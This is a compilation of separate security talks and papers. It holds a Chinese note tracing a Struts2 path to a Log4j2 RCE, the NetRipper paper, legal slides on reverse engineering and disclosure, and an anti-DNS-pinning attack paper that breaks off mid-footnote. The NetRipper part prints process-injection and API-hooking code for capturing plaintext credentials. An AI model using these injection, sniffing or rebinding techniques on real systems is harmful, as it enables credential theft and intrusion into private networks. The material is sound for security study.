org.apache.struts2.dispatcher.DefaultStaticContentLoader#process org.apache.logging.log4j.Logger#warn 请求的执行流程 1、请求首先被StrutsExecuteFilter进行处理 execute.executeStaticResourceRequest 处理对静态资源的请求 2、需要满足条件(请求的静态资源路径以“/struts”或“/static”开头) 3、条件满足后,执行到 org.apache.struts2.dispatcher.DefaultStaticContentLoader#findStaticResource 需要满足条件:请求的静态资源需要存在,否则直接返回404 可以通过右键查看源码查找需要的路径 4、条件满足后,执行到org.apache.struts2.dispatcher.DefaultStaticContentLoader#process 构造恶意的If-Modified-Since即可触发log4j2的RCE 至此,分析完毕。 漏洞复现 参考: https://twitter.com/payloadartist/status/1469987703429103622
pdf
1 NetRipper Smart traffic sniffing for penetration testers Ionut Popescu KPMG Bucharest, Romania ionut.popescu@outlook.com April 2015 Abstract — The post-exploitation activities in a penetration test can be challenging if the tester has low- privileges on a fully patched, well configured Windows machine. This work presents a technique for helping the tester to find useful information by sniffing network traffic of the applications on the compromised machine, despite his low-privileged rights. Furthermore, the encrypted traffic is also captured before being sent to the encryption layer, thus all traffic (clear-text and encrypted) can be sniffed. The implementation of this technique is a tool called NetRipper which uses API hooking to do the actions mentioned above and which has been especially designed to be used in penetration tests. I. INTRODUCTION AND PROBLEM DESCRIPTION The following situation occurs pretty often in an internal penetration test: the tester gains low privileged access to a Windows machine (workstation or server) where he is able to execute arbitrary code. However, he has difficulty in escalating his privileges or pivoting to other machines because no obvious vulnerabilities can be found on that machine. The situation is frustrating as there are open network connections from the victim machine to other machines on the network, which may contain useful information for escalating privileges or for pivoting to other machines. However, the traffic cannot be easily intercepted because the lack of privileges. Furthermore, there may be also a user on that machine which is browsing the web or accessing internal services and his credentials would be useful for advancing the penetration test. So the problem is how to intercept the network traffic while having low privileges on a Windows machine? II. THE SOLUTION We have developed NetRipper, which is a standalone application (and Metasploit module) that is able to capture network traffic sent and received by applications which are running on the victim machine under the same user as the one compromised by the attacker. NetRipper captures network data while it is handled by the target applications by hooking function calls such as: - PR_Read and PR_Write from nss3.dll - PR_Send and PR_Recv from nspr4.dll - SslEncryptPacket and SslDecryptPacket from ncrypt.dll - send and recv from ws2_32.dll - SSL_Send and SSL_Recv from chrome.dll By hooking these functions, NetRipper is able to capture clear-text and encrypted (SSL/TLS) traffic sent or received by the target application if the application uses these specific functions for the network activity. 2 III. IMPLEMENTATION DETAILS A. Application overview NetRipper has three components: - NetRipper.exe – Is a standalone application responsible for configuring the DLL and for injecting it in various processes - DLL.dll – Is a shared library which hooks specific functions used by the target applications (ex. SslEncryptPacket), captures the data sent/received and writes it into a local file - netripper.rb – The Metasploit module used to inject the DLL into various processes In order to use NetRipper, the penetration tester should take the following steps: a. The penetration tester already has access to the server/workstation as an unprivileged user b. He uses NetRipper.exe or the Metasploit module to inject DLL.dll into a certain process c. DLL.dll captures data (SSL/TLS or clear-text) and writes it to an output file d. The penetration tester retrieves the output file containing plain-text and unencrypted data The configuration options available for NetRipper in the current version are: - Process IDs – Specify one or more target process IDs (e.g. 1232, 4444) - Process names – Specify one or more target process names (e.g. firefox.exe, iexplore.exe) or specify ALL, which enables the injection in all processes - Captured data location – Where to save capture data (e.g. C:\Windows\TEMP) or specify the “TEMP” value to save data into user’s temporary data folder - Plugins – The name of the plugins used to filter captured data NetRipper has also been implemented as a Metasploit post-exploitation module, which uses the reflective DLL injection technique to start the tool. B. Reflective DLL injection technique NetRipper searches for target processes and injects the DLL using the Reflective DLL Injection technique pioneered by Stephen Fewer of Harmony Security [1]. This technique allows one to easily inject a DLL from memory into a target process without touching the disk, thus avoiding antivirus detection. The steps that NetRipper takes in order to inject the DLL reflectively are the following: 1. Open the remote process (OpenProcess API) 2. Allocate memory inside the remote process for the whole DLL file (VirtualAllocEx API) 3. Write the DLL.dll file into the remote process memory (WriteProcessMemory API) 4. Create a new thread that calls the ReflectiveLoader function (CreateRemoteThread API) 5. The ReflectiveLoader function correctly loads the DLL into memory 3 A sample piece of code (from ReflectiveDLL project [2]) that injects the DLL into the target process is shown below: // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); C. API hooking technique In order to sniff the network traffic sent and received by the target applications, we implemented an API hooking engine, using inline call hooks. This engine is implemented inside DLL.dll, which hooks specific functions by following the next steps: 1. Obtain a handle to the DLL containing the target function (for example ncrypt.dll) 2. Find the address of target function (for example SslEncryptPacket) 3. Save the first 5 bytes of the function code 4. Place a call hook_address instruction at the beginning of the function, replacing the first 5 bytes The Hook function is the core hooking function and it is responsible for: 1. Restoring the original bytes of the hooked function (in order to call original function later) 2. Calling a specific callback function like SslEncryptPacket_Callback which handles the data received by the hooked function The implementation of SslEncryptPacket_Callback function follows these steps: 1. Save unencrypted data before it is sent to the network 2. Call the original function SslEnryptPacket to send network traffic 3. Place the call hook_address again at the beginning of the target function to restore the hook 4 Example of code used for placing API hooks: vector<MODULEENTRY32> vDlls = Process::GetProcessModules(0); for(size_t i = 0; i < vDlls.size(); i++) { // SslEncryptPacket, SslDecryptPacket if(Utils::ToLower(vDlls[i].szModule).compare("ncrypt.dll") == 0) { SslEncryptPacket_Original = (SslEncryptPacket_Typedef)GetProcAddress(LoadLibrary("ncrypt.dll"), "SslEncryptPacket"); SslDecryptPacket_Original = (SslDecryptPacket_Typedef)GetProcAddress(LoadLibrary("ncrypt.dll"), "SslDecryptPacket"); Hooker::AddHook("ncrypt.dll", (void *)SslEncryptPacket_Original, (void *)SslEncryptPacket_Callback); Hooker::AddHook("ncrypt.dll", (void *)SslDecryptPacket_Original, (void *)SslDecryptPacket_Callback); } // send, recv else if(Utils::ToLower(vDlls[i].szModule).compare("ws2_32.dll") == 0) { recv_Original = (recv_Typedef)GetProcAddress(LoadLibrary("ws2_32.dll"), "recv"); send_Original = (send_Typedef)GetProcAddress(LoadLibrary("ws2_32.dll"), "send"); Hooker::AddHook("ws2_32.dll", (void *)recv_Original, (void *)recv_Callback); Hooker::AddHook("ws2_32.dll", (void *)send_Original, (void *)send_Callback); } ... } A sample callback function used for handling data is shown below: LONG __stdcall SslEncryptPacket_Callback(ULONG_PTR hSslProvider, ULONG_PTR hKey, PBYTE *pbInput, DWORD cbInput, PBYTE pbOutput, DWORD cbOutput, DWORD *pcbResult, ULONGLONG SequenceNumber, DWORD dwContentType, DWORD dwFlags) { LONG res; ... Utils::WriteToTempFile("SslEncryptPacket.txt", (char *)pbInput, cbInput); ... // Call original function res = SslEncryptPacket_Original(hSslProvider, hKey, pbInput, cbInput, pbOutput, cbOutput, pcbResult, SequenceNumber, dwContentType, dwFlags); ... Hooker::RestoreHook((void *)SslEncryptPacket_Callback); return res; } 5 The core Hook function that restores the original bytes and redirects the code flow to the callback function is the following: // Our "naked" hook function extern "C" __declspec(naked) void Hook() { __asm { // Get hooked function address mov EAX, [ESP] // Get EIP_CALLING sub EAX, 5 // Sizeof call // Get and parse HookStruct push EAX // Function parameter call Hooker::GetHookStructByOriginalAddress // Call function add ESP, 4 // Clean stack (cdecl) push EAX // Backup register // Get data from HookStruct mov EDX, [EAX + 4] // EDX == m_OriginalAddress add EAX, 8 // EAX == m_OriginalBytes // Restore bytes push REPLACE_BYTES // REPLACE_BYTES push EAX // m_OriginalBytes push EDX // m_OriginalAddress call DWORD PTR memcpy // __cdecl memcpy(m_OriginalAddress, m_OriginalBytes, REPLACE_BYTES) add ESP, 0xC // Clean stack pop EAX // Restore register push EAX // Backup register // Flush instruction cache push REPLACE_BYTES // REPLACE_BYTES mov EDX, [EAX + 4] // EDX == m_OriginalAddress push EDX // m_OriginalAddress push 0xFFFFFFFF // hProcess - current process (-1) call DWORD PTR [FlushInstructionCache] // FlushInstructionCache(-1, m_OriginalAddress, REPLACE_BYTES) pop EAX // Restore register // Call callback function add ESP, 4 // "Remove" EIP_Calling from stack mov EDX, [EAX] // Get callback pointer jmp EDX // Jump to callback function } } 6 D. Implementation challenges Because NetRipper captures both encrypted and unencrypted traffic, we had to avoid saving both unencrypted and encrypted data. In order to capture only unencrypted traffic, a simple “function flow flag” is set. Before saving data to a file, each function check this flag. If it is not set, it means that the function must save captured data because it is the highest function in this flow. This is the case of PR_Write callback function which will also set the flag. When this function will call the original function, it will eventually call send function which will see the flag set and it will not save duplicate, useless, encrypted data. After the original PR_Write returns, the PR_Write callback function unsets the flag. The flag is thread-based. IV. PROJECT STATUS AND FUTURE WORK At this moment, NetRipper hooks the following functions: - PR_Read/PR_Write from nss3.dll - PR_Send/PR_Recv from nspr4.dll - SslEncryptPacket/SslDecryptPacket from ncrypt.dll - send/recv from ws2_32.dll - SSL_Send/SSL_Recv from chrome.dll It can capture the network traffic from any application that uses these APIs to send/receive data over the network. We have successfully tested NetRipper for capturing network traffic of Microsoft Outlook, Microsoft Lync, Mozilla Firefox, Google Chrome, Internet Explorer, Yahoo! Messenger and other popular Windows applications. There are multiple features that we plan to implement in NetRipper and some of its current functionality needs to be improved. Among the future work planned for this tool there is: - Hooking x64 based applications - Adding more API functions to the hooking list (e.g. OpenSSL) - Dynamically monitoring new processes and automatically loading in new processes - Saving captured traffic in PCAP format - Transmitting the captured data through a TCP/UDP channel to a remote machine V. SIMILAR TOOLS We found two other applications capable of intercepting both plain-text and unencrypted network traffic: HookMe [3] and EchoMirage [4]. However, they both have a graphical interface and are not suitable to be used in a penetration test (e.g. from command line, via a remote shell, etc). As a comparison, NetRipper was designed especially for penetration testers, works silently in background, it has a small footprint and a Metasploit post exploitation module. 7 VI. USAGE EXAMPLE For a fast test, we start NetRipper.exe with the following parameters: C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe Usage: NetRipper.exe "DLLpath.dll" "ProcessName" E.g. NetRipper.exe C:\Users\Ionut\DLL.dll firefox.exe C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe DLL.dll firefox.exe Trying to inject DLL.dll in firefox.exe Reflective injected in: 1608 The captured data is saved by default in TEMP (e.g. C:\Users\*\AppData\Local\Temp\NetRipper). In our example, the output file named 1608_firefox.exe_PR_Write.txt may contain the following: …..lsd=AVqLKT9c&email=admin%40facebook.com&pass=thisismypassword&default_persistent=0&timez one=-180&lgndim=eyJ3IjoxNjAwLC….. The network traffic may also contain sensitive authentication cookies or access tokens. A test with Microsoft Lync can be done as follows: C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe DLL.dll lync.exe Trying to inject DLL.dll in lync.exe Reflective injected in: 5568 We were able to capture conversation messages sent through Lync (in rich-text format): <imReceived xmlns="http://schemas.microsoft.com/2008/10/sip/convItems" ts="2015-04- 14T14:15:08Z" from="sip:coworker@kpmg.com" displayName="Furtuna, Adrian" firstMessage="true" type="text/rtf"> <messageInfo type="text/rtf" msgid="{ACB6223D-BD06-481A-9E83-EB5E4853ABB4}" sequenceid="0">{\rtf1\fbidis\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fni l\fcharset0 Segoe UI;}{\f1\fnil Segoe UI;}} {\colortbl ;\red0\green0\blue0;} {\*\generator Riched20 15.0.4567}{\*\mmathPr\mwrapIndent1440 }\viewkind4\uc1 \pard\cf1\embo\f0\fs20 THIS\embo0 \embo IS\embo0 \embo A\embo0 \embo SIMPLE\embo0 \embo \embo NETRIPPER\embo0 \embo LYNC\embo0 \embo TEST\embo0\f1\par {\*\lyncflags&lt;rtf=1&gt;}} </messageInfo> </imReceived> VII. CONCLUSIONS In this paper we presented a technique for capturing network traffic of applications while having low privileges on a Windows machine. The implementation of this technique is NetRipper which can be used in penetration tests for this purpose. However, the usage scenarios for NetRipper are not limited to penetration tests. It can also be used by legitimate users on their own computers to monitor and investigate network traffic made by various software applications. It helps to discover how applications communicate through the network and how they transmit sensitive information. Furthermore, NetRipper can also be used for malware analysis and investigation. 8 VIII. AUTHOR BIO Ionut Popescu - the author of NetRipper - works as a Senior Security Consultant (Penetration Tester) at KPMG Romania. He is passionate by ASM, reverse engineering, shellcode and exploit development and he has a MCTS Windows Internals certification. Ionut spoke at various security conferences in Romania like: Defcamp, OWASP local meetings and others but also at Hacknet international conference, in Finland. As a result of his recent research there are multiple papers like: PE File Format, DLL Injection and API Hooking (docx) [5] – a paper written in Romanian, Stack Based Buffer Overflow (pdf) [6] – a tutorial written in Romanian, Download & Load (DLL) [7] – a shellcode that downloads a DLL and loads it into memory, and others. Ionut is also the main administrator of the biggest Romanian IT security community: rstforums.com and he writes technical articles on KPMG team’s blog, securitycafe.ro, such as: - Upgrade your DLL to Reflective DLL [8] - Intercepting functions from statically linked libraries [9] - How to intercept traffic from Java applications [10] IX. REFERENCES [1] Stephen Fewer, “Reflective DLL Injection” https://github.com/stephenfewer/ReflectiveDLLInjection [2] Stephen Fewer, “LoadLibraryR.c” https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c [3] Manuel Fernandez, “HookMe” project https://code.google.com/p/hookme/ [4] BindShell/WildCroftSecurity, “EchoMirage” project http://www.wildcroftsecurity.com/echo-mirage [5] Ionut Popescu, “PE File Format, DLL Injection and API Hooking” https://rstforums.com/proiecte/Licenta.docx [6] Ionut Popescu, “Stack Based Buffer Overflow” http://www.exploit-db.com/docs/34304.pdf [7] Ionut Popescu, “Download & Load (DLL) shellcode” https://rstforums.com/forum/87849-rst-shellcode-download-load-dll.rst [8] Ionut Popescu, “Upgrade your DLL to Reflective DLL” http://securitycafe.ro/2015/02/26/upgrade-your-dll-to-reflective-dll/ [9] Ionut Popescu, “Intercepting functions from statically linked libraries” http://securitycafe.ro/2015/01/28/intercepting-functions-from-statically-linked-libraries/ [10] Ionut Popescu, “How to intercept traffic from Java applications” http://securitycafe.ro/2014/12/19/how-to-intercept-traffic-from-java-applications/
pdf
Jennifer Stisa Granick, Esq. Exec. Director, Center for Internet & Society Stanford Law School Stanford, California USA http://cyberlaw.stanford.edu Black Hat Briefings 2007 Intellectual Property Law and Vulnerability Reporting Cisco and ISS v. Lynn (2005) • http://www.granick.com/blog/ • http://www.wired.com/science/discoveri es/news/2005/08/68435 • Complaint included: – Copyright Infringement – Misappropriation of Trade Secrets – Breach of Contract HID v. IOActive (2007) • http://www.granick.com/blog/?p=552 • http://www.wired.com/politics/law/comm entary/circuitcourt/2007/02/72819 • Letter suggested patent misuse/infringement Topics for the Talk • Copyright Infringement, Reverse Engineering and Fair Use • Trade Secrets, EULAs and TOS • Patent Infringement • Free Speech and Vulnerability Reporting CR Infringement & Lynn ISS Slides Cisco Code Copyright Infringement • protects software • owner has exclusive rights in the work, even when copies of the item are given away or sold • the right to reproduce the work; the right to prepare derivative works; the right to distribute copies of the work; the right to perform the work publicly; and the right to display the work publicly. Program Mods • Owner of a copy of a computer program is allowed to reproduce or adapt the program if reproduction or adaptation is necessary for the program to be used in conjunction with a machine. (17 U.S.C. 117) Reverse Engineering • Protected by Fair Use – The purpose and character of the use, including whether such use is of commercial nature or is for nonprofit educational purposes; – The nature of the copyrighted work; – Amount and substantiality of the portion used in relation to the copyrighted work as a whole; and, – The effect of the use upon the potential market for or value of the copyrighted work. Reverse Engineering • If reverse engineering is required to gain access to function and ideas, any intermediate copies made as part of reverse engineering are fair use. • RE will not protect you from a copyright infringement claim if you are not legitimately in possession of the software, or if you use copyrighted code in your final product. Lynn: classic fair use • Make sure program is legitimately obtained, make intermediary copies as needed to understand the program, but do not infringe the program in your final product. • Copies are necessary for figuring out how a program works and for accessing ideas, facts, and functional concepts contained in the software. • Do not use copyrighted code in the final product. • Do not steal the copy of the software that you are reverse engineering Vulnerability discovery and reverse engineering • Reverse engineering is generally legal • Limits are copyright law, contract law, DMCA • RE is usually fair use under copyright law • RE can be limited by licenses and EULAs • RE can be limited by non-disclosure agreements and trade secret law DMCA anti-circumvention provisions • Prohibits cracking TPM (DRM) that controls access to a copyrighted work, or trafficking in a tool that cracks • Broad prohibition • Successfully used to threaten researchers in the past • Never upheld by a court • Some exceptions in the statute for reverse engineering, encryption and security research • Exceptions are narrow Misappropriation of Trade Secrets • A trade secret is information that: (1) Derives independent economic value, actual or potential, from not being generally known to the public or to other persons who can obtain economic value from its disclosure or use; and (2) Is the subject of efforts that are reasonable under the circumstances to maintain its secrecy. Misappropriation • Acquisition by improper means, or disclosure without consent by a person who used improper means to acquire the knowledge. • Improper means includes theft, bribery, misrepresentation, breach or inducement of a breach of a duty to maintain secrecy, or espionage. • Reverse engineering or independent derivation alone shall not be considered improper means. Can a EULA or NDA... • Prevent the researcher from raising a fair use defense to a claim of copyright infringement? • Prevent the researcher from claiming fair and legitimate discovery defense in response to a trade secret misappropriation claim? • Subject the researcher to a breach of contract claim if he reverse engineers in contravention to the terms of that document? EULA Enforceability • Bowers v. Baystate • Blizzard v. BnetD • Combs v. PayPal Patent Infringement • one must make, use, sell or offer for sale an invention described by the patent's claims without the patent owner's authorization. • If a reader operates identically to the card readers described in HID's patents, then the company's legal threat actually makes some theoretical sense. Patent Infringement Damages • Only actual, not statutory damages IntellectualWeapons • Website no longer exists • Raises interesting questions about interference between computer security and IP rights. Vulnerability reporting & Speech • Free speech protections and code – First Amendment – Functional Code/Actions Vs. Speech • The law of criminal speech and crime- facilitating speech – US v. McDanel case – Conspiracy law – Aiding and abetting Jennifer Stisa Granick, Esq. Center for Internet & Society Stanford Law School 559 Nathan Abbott Way Stanford, California 94305 USA +1 (650) 724-0014 Jennifer@law.stanford.edu New Contact Information After September 1, 2007 Electronic Frontier Foundation Jennifer@eff.org (415) TKTK
pdf
Intranet Invasion Through Anti-DNS Pinning David Byrne, CISSP, MCSE Security Architect EchoStar Satellite L.L.C. / DISH Network DavidRiByrne@yahoo.com Introduction DNS pinning was introduced by web browsers to avoid DNS-spoofing attacks facilitated by client-side code execution. A number of factors including incomplete implementation, browser plug-in vulnerability, plug-in integration and proxy servers have allowed for successful anti-DNS pinning attacks. Using client-side code, such as JavaScript, an internet-based attacker can turn a browser into a proxy server, directing arbitrary attacks at internal servers. DNS Spoofing DNS-spoofing attacks against web browsers are primarily intended to trick a browser into violating the same-origin policy1. Since same-origin applies to hosts, but not IP addresses, an attacker could use a DNS server he controls to erase the distinction between two different servers. This is the basic attack sequence: 1. Get the victim browser to visit a site (probably using XSS), on an attacker- controlled domain. The hostname is typically randomly generated. 2. The victim browser queries the DNS server for the attack domain and receives the attacker-controlled IP address 3. The victim browser requests content from the attack server and becomes infected with the attack code 4. The attack code pauses long enough for the DNS record’s TTL to expire 5. The attack code initiates a new request to the attack server, and requeries DNS 6. The attack DNS server responds with the IP address of a victim server 7. The attack code connects to the victim server, and does something useful 8. The results are returned to the attacker DNS Pinning To prevent DNS Spoofing attacks, browser makers introduced DNS pinning. This forces the browser into using a single IP address for any given host. Once the DNS response has been received, the browser will “pin” it in the cache as long as the browser is running. Interestingly, this could be interpreted as a violation of the HTTP 1.1 standard. It states that “if HTTP clients cache the results of host name lookups in order to achieve a performance improvement, they MUST observe the TTL information reported by DNS.” 2 The authors were concerned that while a DNS response was cached too long, the IP address could have been assigned to a new party. Any requests sent to the IP address would be subject to abuse by the new owner. Fundamentals of Anti-DNS Pinning Attacks Most techniques for defeating DNS pinning exploit the necessity to eventually expire the DNS record. One method has this sequence3: 1. The victim browser loads attack code 2. The victim browser closes, either by user action or by attack 3. When the browser is opened, the attack code is loaded from disk cache 4. The attack code initiates a request to the attack web server 5. The attack DNS-server responds with the IP address of the victim server This technique is difficult to defeat by browser design because the browser must dump its DNS cache eventually, and because a disk-based content cache is considered critical for modern browsers. However, it is very difficult to properly execute: simply clearing the content cache is enough to stop the attack, and it is very difficult to get the cached content reloaded. The biggest obstacle is speed; every time the attacker wants to add a victim server, the process must start over. Considering that major web browsers do not fully implement DNS pinning, there is a much simpler attack4. To support DNS-based fault-tolerance, browsers will dump their DNS cache if the web server becomes unavailable. The attack sequence becomes much simpler to execute: 1. The victim browser loads the attack code 2. The attacker firewalls the attack web server 3. The attack code initiates a request to the attack web server 4. The request times out due to the firewall rule, and the victim browser dumps its DNS cache 5. The browser requeries the attack DNS server and receives the IP address of the victim server A successful attack does not rely on the victim website hosting critical data. Secondary attacks against the web server are possible by exploiting vulnerabilities such as URL or header-based buffer overflows. A more likely scenario would be to find a website vulnerable to SQL injection, then use a tertiary vulnerability, such as xp_cmdshell5, to execute arbitrary code on the database server. Once arbitrary code can be executed, more traditional and less limited techniques to tunnel traffic become available. The primary limitation of this method is the lack of control over host headers. Since the browser will use the host name initially associated with the attack web server, only the default website on the victim web server will be accessible. However, there are plenty of servers on the Internet, and many more on intranets with default websites. Critical, high-profile sites are likely to have a dedicated web server, which means they are probably the default website. Regardless, it is important to note that HOST HEADERS ARE NOT A RELIABLE SECURITY CONTROL. Multiple vulnerabilities6,7,8 in the past have allowed headers, including “host”, to be arbitrarily set in a code-generated request. There is no reason to believe that everyone has installed these patches, or that similar vulnerabilities will not be found in the future. Practical Anti-DNS Attacks Using JavaScript Attack Components Anti-DNS attacks can be coupled with other JavaScript-based attack techniques to turn a victim web browser into a proxy server. This attack scenario has several components: Victim browser: Tricked into visiting a malicious site, probably via XSS, the victim browser loads code that periodically polls the attack server for new commands. In the BlackHat demonstration, every 1.5 seconds, JavaScript appends a new script tag onto the document body. The source of the tag is a request to the controller script, which returns either a blank document, or new JavaScript commands. Victim web server: The targeted server that the attacker wants access to; most likely an intranet web server protected by perimeter firewalls. Browser-based JavaScript proxy: The primary purpose of this code is to relay requests and responses between the attack server and the victim web server. In the demonstration, it is loaded into an iframe9 from the attack server by the victim browser’s polling process. Attacker’s browser: Interacts with the attack console to run commands on the victim browser; sends requests to the HTTP proxy running on the attack server. Attack server: Relays requests and commands from the attacker to the victim browser. There are several ways this could be implemented; in the BlackHat demonstration, there are five sub-components: Attack DNS server: The attack DNS server is the authoritative name server for a domain that the attacker controls. Attack web server: The attack web server hosts the browser-based attack code and the controller script. Controller script: A CGI script with many functions identified by a “command” parameter. The script is hosted on two IP addresses; one is used for performing the anti-DNS pinning attack with the randomly generated hostname; the other is used for communicating commands between other components. Key functions include: • An attack console listing all active victim browsers, and commands that can be sent • Periodically polled by the victim browser for new commands • Changes DNS records and firewall rules as needed to facilitate the actual anti-DNS pinning attack • Periodically polled by the JavaScript proxy for new requests to process • Receives the HTTP responses from the JavaScript proxy Database: Used to store commands and requests sent by the attacker, until they are retrieved by the victim browser. Also stores responses sent by the victim browser until they are retrieved by the attacker. HTTP proxy: Receives requests from the attacker’s browser and inserts them into the database. Polls the database for the response and sends it back to the browser. Data Exchange JavaScript proxy and victim web server The XMLHTTPRequest (XHR) object10,11,12 is used to initiate requests to the victim web server. Normally, XHR can only handle text data and will effectively strip off the high ASCII bit. By setting the character set to “x-user-defined”, the browser will retain all 8-bits of data, allowing for full binary data support13. JavaScript proxy to controller script Because of the same-origin rule, XHR is not suitable for returning data to the attack server. There are two methods used in the demonstration. If it is a small amount of text data, an image object is created with the source pointing at the controller script. The data is included as a parameter value in the URL’s query string. When the image is appended to the document, the browser will automatically generate the request. No image is actually returned by the controller script. For binary data, or large amounts of data that can’t fit into a URL, HTML forms are used. Data is stored in a text input box, the form’s action attribute is set to the controller script, the method is set to POST, the form’s target is set to an unused iframe (to keep the window from loading the action URL), and the form’s encoding is set to “multipart/form-data”. Controller script to JavaScript proxy Since a browser cannot accept inbound network connections, the JavaScript proxy must initiate all communication. When the JavaScript proxy polls the controller script for data (such as the next HTTP request to process), the response is a JavaScript file with the data set in variables that can be retrieved by the JavaScript proxy. Similar techniques are used by the Backframe toolkit.14 In essence, this is intentional XSS: the document is loaded from the randomly generated hostname, but the script is loaded from the attack server’s secondary IP address (or secondary hostname). As a result, some anti-XSS filters might block this request. However, no XSS is required for a successful attack. There are several other methods to transfer data from the controller script besides XSS. While the same-origin policy prevents most explicit data exchange, JavaScript can still infer data about content from different origins. For example, the dimensions of an image are accessible in JavaScript, regardless of which server provided the file. This allows for a series of images to be requested by JavaScript with one byte encoded in the width and one byte in the height. Firefox (and perhaps other browsers) will load a bitmap with headers, but no graphic content, allowing the files to be stripped down to 66-bytes. While this technique is slow, it is effective. Considering that cross-domain image loading is very common on the Internet, it would be extremely difficult to detect and block. A similar technique tunnels data through dynamically loaded Cascading Style Sheets (CSS)15,16. Again, most data in a different origin CSS cannot be directly accessed by JavaScript. However, some data in a style class can be inferred once it is applied to a document component. Margin sizes are one example. Firefox allows margins to be set to millions of pixels, allowing at least two bytes of data to be encoded in each margin setting. Bulk data can be transferred by creating series of sequentially named classes. Once the style sheet is loaded, it is trivial for JavaScript to apply each class to a DIV tag, measure the actual margin sizes, and then decode the data. Since an unlimited number of classes can be defined in a single style sheet, performance is much better than the image dimension method, and approaches the XSS method. Other Anti-DNS Pinning Attacks Java LiveConnect The Sun Java Virtual Machine (JVM) supports full network connections, but only a trusted applet17 can connect to arbitrary hosts. If the code isn’t trusted, it can only connect out to the origin server, but on any port. The JVM has its own DNS resolver and DNS pinning logic and is believed to be resistant to standard anti- DNS pinning attacks against applets18. LiveConnect19,20 is a Firefox and Opera feature that allows Java applets to interact with the HTML DOM and allows JavaScript to instantiate and interact with standard Java classes. When LiveConnect is used, the JVM pins the DNS after the webpage is loaded. By coordinating a DNS change with the page load, an attacker can successfully launch an anti-DNS pinning attack without the DNS cache timeout required in the JavaScript / XHR method. More importantly the JVM supports full UDP21 and TCP22 sockets, and partially supports ICMP23. This means that virtually any application protocol can be supported: SSH, SSL, telnet, SNMP, database protocols, CIFS, etc. A practical LiveConnect-based attack would be structured much like the XHR technique. Instead of an HTTP proxy accepting the attacker’s requests, a SOCKS24 proxy is used. To support a wide variety of attack tools, a generic SOCKS client25 is tied to the attacker’s IP stack. To improve performance, the socket reads and writes on the browser can be handled asynchronously26,27 within JavaScript. Adobe Flash Because Flash does not implement any DNS-pinning28, this is more properly considered a classic DNS-spoofing attack. Using Flash’s socket functionality in ActionScript, it is possible to send arbitrary data over TCP. Two requirements significantly limit the flexibility of such an attack. First, in an odd throwback to old UNIX “security”, Flash will only connect to TCP port numbers greater than 1023. Second, each response has to be in XML format and terminated by a null character, effectively making it a one-way transaction29. Despite these limitations, any action that can be performed during the first stage of data transmission is possible to implement. Some text-based protocols such as HTTP or SMTP are partially usable. Some exploits may allow the shell-code to be transmitted this way also. Proxy Servers If the victim browser is configured to use a proxy server, it will usually not resolve hostnames for requests, effectively disabling its DNS pinning functionality. Since all DNS resolution is performed by the proxy server, anti-DNS pinning attacks are product specific. However, proxy servers can easily run for months at a time, making it impractical to permanently pin the DNS cache. If a proxy server has access to the internal network, it can be used to perform XHR-based anti-DNS pinning attacks. It is conceivable that the HTTP CONNECT command could be used on a proxy to tunnel any TCP protocol with anti-DNS pinning. If the browser is configured to use a SOCKS v5 server, UDP protocols may be possible also. Defense Against Anti-DNS Attacks The most obvious defense against anti-DNS pinning attacks is to change the browsers’ behavior so that DNS records are permanently pinned into the cache. Web servers do not go down often, and requiring the user to restart the browser is not an unreasonable burden. However, this is not a panacea. It doesn’t address browser-restart attacks, or any attacks using external DNS caches such as browser plug-ins or proxy servers. Realistically, most companies cannot disable JavaScript across the board; too many common websites use it. Better web browser security policies would help with this. Firefox does support zone-based policies30, but it is a well hidden feature that few know about, and it is lacking in granularity. Internet Explorer has better granularity for some features, but not for scripting. While IE allows XMLHTTPRequest to be globally disabled, it would be more useful to disable it for a single security zone without disabling all scripting. The NoScript31 add-on for Firefox presents some benefit, but is still lacking in granularity and is difficult for most users to manage. Deploying it across an enterprise would be very time consuming due to the high level of customization required. Another Firefox add-on with JavaScript security features is LocalRodeo32. One of its features is a monitor of the browser’s DNS cache; if an IP address changes (as part of an anti-DNS pinning attack), it will block it. It also attempts to detect and block JavaScript-based reconnaissance such as port scanning, fingerprinting, etc. However, LocalRodeo is a beta tool that most administrators should be reluctant to widely deploy in an enterprise. It also does not address browser plug-ins or proxy servers. While it may become safer, it seems unlikely that downloading and executing code from anonymous strangers will ever be safe. As long as technologies like Java, JavaScript, ActiveX, browser plug-ins, and even email attachments exist, techniques will be available to bypass perimeter firewalls. More consistent application of security controls like host hardening & patching, strong authentication & encryption, and network segmentation will always provide significant protection. 1 http://www.mozilla.org/projects/security/components/same-origin.html 2 http://www.ietf.org/rfc/rfc2616.txt, section 15.3 3 http://viper.haque.net/~timeless/blog/11/ 4 http://shampoo.antville.org/stories/1451301/ 5 http://msdn2.microsoft.com/en-us/library/ms175046.aspx 6 http://www.cgisecurity.com/lib/XmlHTTPRequest.shtml 7 https://bugzilla.mozilla.org/show_bug.cgi?id=297078 8 https://bugzilla.mozilla.org/show_bug.cgi?id=302263 9 http://www.w3.org/TR/html401/present/frames.html#h-16.5 10 http://www.w3.org/TR/XMLHttpRequest/ 11 http://msdn2.microsoft.com/en-us/library/ms535874.aspx 12 http://developer.mozilla.org/en/docs/XMLHttpRequest 13 http://mgran.blogspot.com/2006/08/downloading-binary-streams-with.html 14 http://www.gnucitizen.org/projects/backframe/ 15 http://www.bobbyvandersluis.com/articles/dynamicCSS.php 16 http://www.irt.org/articles/js065/ 17 http://java.sun.com/sfaq/ 18 